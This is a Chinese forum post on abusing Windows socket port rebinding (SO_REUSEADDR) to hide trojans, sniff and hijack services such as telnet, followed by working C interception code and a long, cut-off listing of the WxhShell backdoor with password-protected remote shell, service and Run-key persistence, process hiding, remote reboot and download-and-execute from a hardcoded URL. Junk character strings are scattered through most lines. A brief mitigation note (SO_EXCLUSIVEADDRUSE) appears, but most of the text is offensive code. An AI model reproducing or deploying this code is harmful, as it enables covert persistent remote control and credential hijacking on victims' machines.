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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \H<'W"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _"a(vfl#  
{+z+6i  
  saddr.sin_family = AF_INET; gO4J[_  
X+P& up06  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); p4W->AVv$  
OWB^24Z&3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *0l^/jqn:  
. ~G>vVb  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h}z^NX  
zEF3B  
  这意味着什么?意味着可以进行如下的攻击: ?O\n!c  
6VQ*z8wLw  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =35EG{W(  
27t:-O  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) z.]t_`KuF9  
HG=!#-$9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 VV?+q)  
'8i np[_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  r&1N8o  
6peO9]Zy  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Nh]eZ3O  
M)I&^mm39  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \KLWOj%  
k2<VUeW5  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \ zhT1#O  
H]UM2.  
  #include Qgo0uu M  
  #include lx U}HM  
  #include f Nm Sx  
  #include    sUfH1w)0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !7AW_l9`i  
  int main() <|hvH  
  { BA A)IQF  
  WORD wVersionRequested; }n:'@}  
  DWORD ret; UG&/0{j5XV  
  WSADATA wsaData; G}BO!Z6  
  BOOL val; Nypa,_9}  
  SOCKADDR_IN saddr; f*1.Vg0`-  
  SOCKADDR_IN scaddr; 2ztP'  
  int err; jp=^$rS6[  
  SOCKET s; x?va26FV  
  SOCKET sc; 2Ev~[Hb.  
  int caddsize; lY.FmF}k  
  HANDLE mt; mZ7.#R*}  
  DWORD tid;   9i yNR!  
  wVersionRequested = MAKEWORD( 2, 2 ); d@7 ]=P:  
  err = WSAStartup( wVersionRequested, &wsaData ); WkXa%OZ  
  if ( err != 0 ) { u{ JAC!  
  printf("error!WSAStartup failed!\n"); ud'r ?QDM  
  return -1; 8.{5c6G  
  } NLoJmOi;L7  
  saddr.sin_family = AF_INET; iZg v VH  
   BGLJ>zkq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `cy_@Z5A  
r$=iM:kERC  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P9G c)$6{p  
  saddr.sin_port = htons(23); I Zi1N  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3 5B0L.R  
  { fk#SD "iJ  
  printf("error!socket failed!\n"); 2o6KVQ  
  return -1; ^Ml)g=Fq  
  } 1 q}iUnR  
  val = TRUE; tP"C >#LO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 xo6-Y=c8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Iy8Ehwejd  
  { \uQ(-ji  
  printf("error!setsockopt failed!\n"); 2e/ JFhA  
  return -1; DFVaZN?~  
  } ^7Z)/c`"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; jU@qQ@|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 J6n@|L!yO  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (](:0H  
\a<qI  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \gDf&I  
  { jC@$D*"J  
  ret=GetLastError(); XcR2]\  
  printf("error!bind failed!\n"); (O\5gAx  
  return -1;  zy  
  } b5No>U) /  
  listen(s,2); ;} Ty b  
  while(1) x`WP*a7Fk]  
  { x: `oqbd  
  caddsize = sizeof(scaddr); P`@d8 %*;  
  //接受连接请求 .,o=#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  J5*krH2i  
  if(sc!=INVALID_SOCKET) g.SFl  
  { (}V.xi  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); '.c [7zL  
  if(mt==NULL) V~+Oil6sa  
  { Q\<C9%a  
  printf("Thread Creat Failed!\n"); ,gUSW  
  break; &UEr4RK;I  
  } g"`BNI]Qp  
  } $!G7u<`na  
  CloseHandle(mt); i`z1if6O  
  } -,uTAk0+@  
  closesocket(s); =A$5~op%  
  WSACleanup(); /v U$62KA  
  return 0; ]- ")r  
  }   <wW#Wnc]  
  DWORD WINAPI ClientThread(LPVOID lpParam) P5P:_hr  
  { ~ZweP$l  
  SOCKET ss = (SOCKET)lpParam; ]EnB`g(4;  
  SOCKET sc; CJ8XKy  
  unsigned char buf[4096]; #@w8wCj  
  SOCKADDR_IN saddr; lr=? &>MXj  
  long num; |j^^ *z@  
  DWORD val; &-:ZM0Fl  
  DWORD ret; WUvrC  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Mi%i_T^i  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   COH0aNp;  
  saddr.sin_family = AF_INET; A0m  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); T&oY:1D,g  
  saddr.sin_port = htons(23); [ %cW ?@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a:r8Jzr  
  { f-F+Y`P  
  printf("error!socket failed!\n"); 3=RVJb  
  return -1; =ps3=D  
  } 9.{u2a\  
  val = 100; 9E'fM  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P(l$5x]g,  
  { B5GT^DaT  
  ret = GetLastError(); JF!JY( U,  
  return -1; yS^";$2Tc  
  } mKugb_d?  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) b|^g51v  
  { R9A8)dDz  
  ret = GetLastError(); ]i(tou-[i  
  return -1; (dd+wx't  
  } v8Vw.Ce`f  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;PCnEs  
  { NoTEbFrV  
  printf("error!socket connect failed!\n"); 4zkn~oy  
  closesocket(sc); _PLY<i2vr  
  closesocket(ss); (OwAhjHE  
  return -1; ea kj>7\s  
  } )r3}9J  
  while(1) J3fk3d`2  
  { = NHuj.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /{>$E>N;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 IppzQ0'=y1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ls< ";QJc  
  num = recv(ss,buf,4096,0); @<=xfs  
  if(num>0) Uy2NZ%rnt  
  send(sc,buf,num,0); "(zvI>A  
  else if(num==0) )h6hN"#V5  
  break; gHdNqOy c  
  num = recv(sc,buf,4096,0); UCG8=+t5T  
  if(num>0) e/Wrm^]y  
  send(ss,buf,num,0); Ydm 0  
  else if(num==0) %sxLxx_x!  
  break; 'n4Ro|kA  
  } 'w3BSaJi  
  closesocket(ss); $0$'co"  
  closesocket(sc); B~+3<#B  
  return 0 ; +Z> Y//  
  } =r"-Pm{  
&|yQwNA*a"  
Uc%n{ a-a  
========================================================== eRU0gvgLu"  
M8dv y!D  
下边附上一个代码,,WXhSHELL <Hd8Jd4f  
jr[(g:L   
========================================================== )[fjZG[  
'NJGez'b ,  
#include "stdafx.h" "yaz!?O>  
'!eg9}<  
#include <stdio.h> jz,Mm,Gi  
#include <string.h> 7k,pUC-w7c  
#include <windows.h> ,;;7+|`  
#include <winsock2.h> NwAvxN<R(f  
#include <winsvc.h> jf&B5>-x  
#include <urlmon.h> e_RLKFv7  
DrI"YX  
#pragma comment (lib, "Ws2_32.lib") nhV\<  
#pragma comment (lib, "urlmon.lib") #&zM.O1Q  
Yc~(W ue  
#define MAX_USER   100 // 最大客户端连接数 tfB}U.  
#define BUF_SOCK   200 // sock buffer .#^ta9^t7  
#define KEY_BUFF   255 // 输入 buffer ?tzJ7PJ~B  
be?>C 5  
#define REBOOT     0   // 重启 ],`xd_=]=  
#define SHUTDOWN   1   // 关机 7egE."  
aa|u *afWQ  
#define DEF_PORT   5000 // 监听端口 UWU(6J|Fk  
q4u,pm,@  
#define REG_LEN     16   // 注册表键长度 m=Mb'<  
#define SVC_LEN     80   // NT服务名长度 (V&5EO8)  
a8 X}r.  
// 从dll定义API 44Dytpvg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AWaptw_p*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /{1sU}k-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k=]#)A(#C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -M]B;[^  
$Lj~ge3#  
// wxhshell配置信息 >+ ,w2m@0  
struct WSCFG { uqz HS>GM  
  int ws_port;         // 监听端口 rU6F$I=  
  char ws_passstr[REG_LEN]; // 口令 Cws;6i*=@  
  int ws_autoins;       // 安装标记, 1=yes 0=no s!k7Wwj  
  char ws_regname[REG_LEN]; // 注册表键名 \r %y^G  
  char ws_svcname[REG_LEN]; // 服务名 G^r`)ND  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m(>MP/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UY>[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^}SP,lg'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4X-"yQ<U  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CdBpz/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bG0 |+k3O  
87!D@Xn  
}; ;X_bDiG$  
I+oe{#:.  
// default Wxhshell configuration [8C|v61Y  
struct WSCFG wscfg={DEF_PORT, vHJOpQmt~  
    "xuhuanlingzhe", IRhi1{K$"  
    1, * 'eE[/K  
    "Wxhshell", Clz. p  
    "Wxhshell", is~"yE7  
            "WxhShell Service", 5)5$h]Nz>  
    "Wrsky Windows CmdShell Service", uzoI*aqk-s  
    "Please Input Your Password: ", Pj-.oS2dA  
  1, G]]"J c  
  "http://www.wrsky.com/wxhshell.exe", D\:dn  
  "Wxhshell.exe" ^VC /tJ  
    }; # &,W x  
ai7R@~O:_k  
// 消息定义模块 3_bE12  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZLjEH7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; SFu]*II;{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +3yG8  
char *msg_ws_ext="\n\rExit."; L@5sY0 M  
char *msg_ws_end="\n\rQuit."; }SfS\b{|~  
char *msg_ws_boot="\n\rReboot..."; noNJ+0S  
char *msg_ws_poff="\n\rShutdown..."; M)F_$ ICE-  
char *msg_ws_down="\n\rSave to "; c,2OICj  
tJG+k)EE  
char *msg_ws_err="\n\rErr!"; g6 H}a  
char *msg_ws_ok="\n\rOK!"; mjQZ"h0  
3S5`I9I  
char ExeFile[MAX_PATH]; ! k[JP+;  
int nUser = 0; *{_N*p\{  
HANDLE handles[MAX_USER]; ^h$^j  
int OsIsNt; [vGkr" =  
O~Jm<  
SERVICE_STATUS       serviceStatus; u^O!5 'D%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X-=4Z9  
3F?7oMNIh  
// 函数声明 0BwxPD#6bv  
int Install(void); p4F%FS:`  
int Uninstall(void); xH\!j  
int DownloadFile(char *sURL, SOCKET wsh); eJ*u]GH U  
int Boot(int flag); t$Bu<frQ  
void HideProc(void); q+znb'i-x  
int GetOsVer(void); 8(Cs<C!  
int Wxhshell(SOCKET wsl); KqN;a i,F  
void TalkWithClient(void *cs); $@D*/@  
int CmdShell(SOCKET sock); tj? %{L  
int StartFromService(void); r|63T%q!  
int StartWxhshell(LPSTR lpCmdLine); HA J[Y3d<  
sYq:2Wn>8Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yV~TfTJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3'Hz,qP  
+CVB[r#hu  
// 数据结构和表定义 M }! qH.W  
SERVICE_TABLE_ENTRY DispatchTable[] = n^q%_60H   
{ qyBC1an5,  
{wscfg.ws_svcname, NTServiceMain}, 'fs tfk  
{NULL, NULL} PNz]L  
};  bUsX~R-  
*rgF[ :  
// 自我安装 y6dQ4Whv&  
int Install(void) iT;Ld $!{f  
{ +7Uv|LZ~@  
  char svExeFile[MAX_PATH];  0ij YE  
  HKEY key; %aI,K0\  
  strcpy(svExeFile,ExeFile); i zYC0T9  
J(G-c5&=  
// 如果是win9x系统,修改注册表设为自启动 y| 0!sNg  
if(!OsIsNt) { 7K HQ0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \@Gcx}Y8h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~,_@|,)  
  RegCloseKey(key); BbM/Rd1tAm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1V wcJd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W ]$/qyc&J  
  RegCloseKey(key); .Y|wG<E  
  return 0; n0LNAhM  
    } h<Ct[46,S  
  } ? 'qyI^m@  
} v, CWE  
else { xk  
3RX9LJGX  
// 如果是NT以上系统,安装为系统服务 0h~{K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !{4'=+  
if (schSCManager!=0) )7{r8a  
{ pw&k0?K#  
  SC_HANDLE schService = CreateService ymp ik.'  
  ( .l hS  
  schSCManager, ,1g_{dMx  
  wscfg.ws_svcname, ?@z/#3b  
  wscfg.ws_svcdisp, 9Trk&OB  
  SERVICE_ALL_ACCESS, FWB *=.A9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 52 *ii  
  SERVICE_AUTO_START, lUaJC'~p  
  SERVICE_ERROR_NORMAL, 33 S CHQ  
  svExeFile, cV"Ov@_.k  
  NULL, v8WT?%  
  NULL, z9:yt5ar  
  NULL, (&1.!R[X  
  NULL, ]bAVOKm-  
  NULL =]5f\f6  
  ); +J85Re `  
  if (schService!=0) kS35X)-  
  { j 7^A%9  
  CloseServiceHandle(schService); t-5K dLB  
  CloseServiceHandle(schSCManager); Go!{@ xx>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /k[8xb  
  strcat(svExeFile,wscfg.ws_svcname); ?S'aA !/;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >S-JAPuO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v`c;1?=,q  
  RegCloseKey(key); eh%{BXW[p  
  return 0; @`#x:p:  
    } hj&~Dn(  
  } z` YC3_d  
  CloseServiceHandle(schSCManager); 5*f54g"'  
} mlCBstt{  
} d``wx}#Uk  
fdWqc_  
return 1; QFnpp\K  
} &S`g&  
MD*dq  
// 自我卸载 BsA'r+ho?H  
int Uninstall(void) Ozhn`9L+1!  
{ ZW9OPwV  
  HKEY key; Y+o\?|q-E  
$M j\ 3  
if(!OsIsNt) { UM#.`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {NQCe0S+p  
  RegDeleteValue(key,wscfg.ws_regname); Mvue>)g~>  
  RegCloseKey(key); @e&0Wk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }zS5o [OE  
  RegDeleteValue(key,wscfg.ws_regname); H] g=( %ok  
  RegCloseKey(key); 0{uaSR  
  return 0; /D1Lh_,2  
  } $_,-ES I  
} $5/d?q-ts{  
} 5~/EAK`  
else { ?;_>BX|Zjl  
6bc\ )n`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @D !*@M6  
if (schSCManager!=0) \gkhSL q  
{ u#rbc"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a|= ^   
  if (schService!=0) vG.KSA  
  {  BdiV  
  if(DeleteService(schService)!=0) { ~ +>e hU  
  CloseServiceHandle(schService); P[-do  
  CloseServiceHandle(schSCManager); *Ti"8^`6  
  return 0; ]j>`BK>FE  
  } Q xA( *1  
  CloseServiceHandle(schService); 83I 5n&)  
  } %k32:qe  
  CloseServiceHandle(schSCManager); AD^I1 ]2f  
} yNEU/>]>2  
} ~,oz hj0f/  
VH~YwO!x  
return 1; :F@Uq<~(  
} a;^lOU|L{  
i\l}M]Z#  
// 从指定url下载文件 <G|i5/|7  
int DownloadFile(char *sURL, SOCKET wsh) i9De+3VqKK  
{ T)OR HJ&,  
  HRESULT hr; xpO;V}M|  
char seps[]= "/"; ;@Fb>l BhX  
char *token; 4p-"1 c$  
char *file; <K<#)mcv  
char myURL[MAX_PATH]; +-(,'slov  
char myFILE[MAX_PATH]; JKfJ%yy |  
'2i !RT-  
strcpy(myURL,sURL); ^9Cu?!xu0  
  token=strtok(myURL,seps); A7%/sMv  
  while(token!=NULL) 'Etq;^H  
  { (xN1?qXB.  
    file=token; 2_)UHTwsK  
  token=strtok(NULL,seps); 9M3"'^ {$  
  } DpvHIE:W  
Eyjsbj8  
GetCurrentDirectory(MAX_PATH,myFILE); nDX Em6|e  
strcat(myFILE, "\\"); qbeUc5`1  
strcat(myFILE, file); W+63B8)4  
  send(wsh,myFILE,strlen(myFILE),0); [:#K_EI5%  
send(wsh,"...",3,0); knYp"<qj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _K!.TM+9  
  if(hr==S_OK) |idw?qCn  
return 0; 2nC,1%kxhq  
else rIJPgF  
return 1; !OY}`a(z  
tE {M  
} e2N K7  
v\4<6Z:4  
// 系统电源模块 *9$SFe|&n:  
int Boot(int flag) .,p=e$x]  
{ #"rK1Z  
  HANDLE hToken; ~=iH*AQR  
  TOKEN_PRIVILEGES tkp; K)mQcB-"?  
h*C!b?:"  
  if(OsIsNt) { )MK $E,W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ze8.+Ee  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .kg 3>*  
    tkp.PrivilegeCount = 1; *j&)=8Y|   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^}p##7t [  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T:Nk9t$W7@  
if(flag==REBOOT) { 1S!}su,uH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >@Ht*h{~  
  return 0; qf\W,SM  
} ?.%dQ0  
else { ) c\Y!vS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V0_tk"  
  return 0; oo2d,  
} K&`1{,  
  } l#1#3F  
  else {  [. 9[?8  
if(flag==REBOOT) { ?..BA&zRk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2O[sRm)  
  return 0; kt)Et  
} $7DW-TA  
else { "QNQ00[T`>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6{ ]F#ig=  
  return 0; 0>7Ij7\[8  
} ;J,(YNI 1  
} [UZ r|F  
rf%lhBv  
return 1; Rh|9F yN  
} J|f29B-c  
o>,r<  
// win9x进程隐藏模块 > B@c74  
void HideProc(void) >bze0`}Z  
{ 0t^FM<7G  
dGBjV #bNT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e~zgH\`  
  if ( hKernel != NULL ) `HQ)][  
  { S\8v)|Pr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); eN,9N]K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ga%\n!S  
    FreeLibrary(hKernel); O8$~dzf,2  
  } w=WF$)ZU  
IUv#nB3  
return; s__xBY  
} sV a0eGc  
\Dq'~ d  
// 获取操作系统版本 rN} 8~j  
int GetOsVer(void) KoNu{TJ  
{ N~8H\  
  OSVERSIONINFO winfo; }-Mg&~e`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mW%8`$rVEO  
  GetVersionEx(&winfo); F6[F~^9D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uW!XzX['  
  return 1; -9t"$)&  
  else Q*>)W{H&)  
  return 0; x5Lbe5/P  
} *7h~0%WR  
b+|Jw\k  
// 客户端句柄模块 OA3J(4!"W  
int Wxhshell(SOCKET wsl) MZ,1mR  
{ b`#YJpA  
  SOCKET wsh; ,7&\jET5^0  
  struct sockaddr_in client; (V6bX]<  
  DWORD myID; I!Z`'1"  
G9Uc }z  
  while(nUser<MAX_USER) Z\CvaX  
{ Ie. on)  
  int nSize=sizeof(client); fasW b&~z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +112{v=!i  
  if(wsh==INVALID_SOCKET) return 1;  80@\e  
Bgm8IK)6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a(A~S u97  
if(handles[nUser]==0) /\/^= j  
  closesocket(wsh); |?^<=%  
else [G|.  
  nUser++; ``WTg4C(Y  
  } '2r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <x^$Fu  
Z?'CS|u d  
  return 0; sq_>^z3T  
} c]|vg=W  
n;Oe-+oSC  
// 关闭 socket 5Z!$?J4Rl  
void CloseIt(SOCKET wsh) nd8<*ru$  
{ X#&5?oq`  
closesocket(wsh); 5eori8gr7  
nUser--; r V%6 8x9  
ExitThread(0); _R ii19k  
} k-|g  
OOSf<I*>  
// 客户端请求句柄 7y|U!r"Y  
void TalkWithClient(void *cs) D j9aTO  
{ 7@;*e=v  
3k)xzv%r`  
  SOCKET wsh=(SOCKET)cs; =IMmtOvJ  
  char pwd[SVC_LEN]; fg)*TR  
  char cmd[KEY_BUFF]; |:R\j0t  
char chr[1]; I+& T}R  
int i,j; ;\0|1Eem`  
lz0-5z+\  
  while (nUser < MAX_USER) { , lR(5ZI  
]jhi"BM  
if(wscfg.ws_passstr) { I3nE]OcW@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hH1Q:}a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _s^tL2Pc  
  //ZeroMemory(pwd,KEY_BUFF); h.vy SwF"j  
      i=0; uy<3B>3~.  
  while(i<SVC_LEN) { 0(y*EJA$  
U7x  
  // 设置超时 V|'@D#\  
  fd_set FdRead; "mJo<i}  
  struct timeval TimeOut; lubsLI  
  FD_ZERO(&FdRead); #EzhtuHxn  
  FD_SET(wsh,&FdRead); ]vQa~}  
  TimeOut.tv_sec=8; uQW)pD{_  
  TimeOut.tv_usec=0; .:j{d}p}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q0+N#$g#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -NwG' U~  
` 7iA?;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %Y ZC dS  
  pwd=chr[0]; \XB,)XDB  
  if(chr[0]==0xd || chr[0]==0xa) { swj\X ,{  
  pwd=0; m=6?%' H}  
  break; v"1&xe^4  
  } E"E(<a  
  i++; #a}w&O";  
    } H>/,Re  
ompr})c  
  // 如果是非法用户,关闭 socket 7I[[S!((s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aE07#  
} jI8`trD  
=cl#aS}e8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K`N$nOw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bW W!,-|R  
LOkgeJuWv  
while(1) { i\IpS@/{-v  
yT/rH- j;5  
  ZeroMemory(cmd,KEY_BUFF); 7-B|B{]  
r B+ (  
      // 自动支持客户端 telnet标准   @JlT*:Dz  
  j=0; )isS^O$qH  
  while(j<KEY_BUFF) { M]5l-i$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oi0O4J%H  
  cmd[j]=chr[0]; n8EKTuy  
  if(chr[0]==0xa || chr[0]==0xd) { Ja3#W K  
  cmd[j]=0; {Ycgq%1>]  
  break; zRjbEL  
  } {1)bLG|$  
  j++; V Dnrm*  
    } j4i$2ZT'  
OG<*&V  
  // 下载文件 DL,R~  
  if(strstr(cmd,"http://")) { $HQ~I?r{Hf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Q I";[  
  if(DownloadFile(cmd,wsh)) wBpt W2jA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ia\Gmh  
  else %t&Lq }e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h{mzYy} b  
  } H,KH}25  
  else { $CB&>?~  
zKP[]S-  
    switch(cmd[0]) { ]CP5s5  
  A/=cGE  
  // 帮助 6g-jhsW6  
  case '?': { P7}w^#x  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w-WAgAch  
    break; k`>qb8,  
  } R,D/:k'~k  
  // 安装 '~ b  
  case 'i': { Ut~YvWc9  
    if(Install()) -!+i ^r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z|@-=S(.  
    else i-0 :Fs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `P\H{  
    break; LF.i0^#J  
    } 4mY^pQ1=L  
  // 卸载 %u%;L+0Q[  
  case 'r': { uvl91~&G  
    if(Uninstall()) fAStM:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S3x^#83  
    else *}:P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PYQ  
    break; VT>-*  
    } ^'Lp<YJs6  
  // 显示 wxhshell 所在路径 6 p;Pf9 f  
  case 'p': {  P:6K  
    char svExeFile[MAX_PATH]; jR1^e$  
    strcpy(svExeFile,"\n\r"); Z=-#{{bv  
      strcat(svExeFile,ExeFile); w#9.U7@.  
        send(wsh,svExeFile,strlen(svExeFile),0); f|~'(~Sr  
    break; =X'EDw  
    } ;woK96"{t  
  // 重启 1Mq"f 7X8  
  case 'b': { =KR^0<2r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GX19GI@k  
    if(Boot(REBOOT)) ~C 3 Y/}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j*8Ze!^  
    else { %zc.b  
    closesocket(wsh); G{.=27  
    ExitThread(0); 7oLlRU  
    } mKM[[l&A  
    break; b^i$2$9_  
    } 2FL_!;p;2E  
  // 关机 1;./e&%%  
  case 'd': { 5D3&E_S  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :fX61S6)  
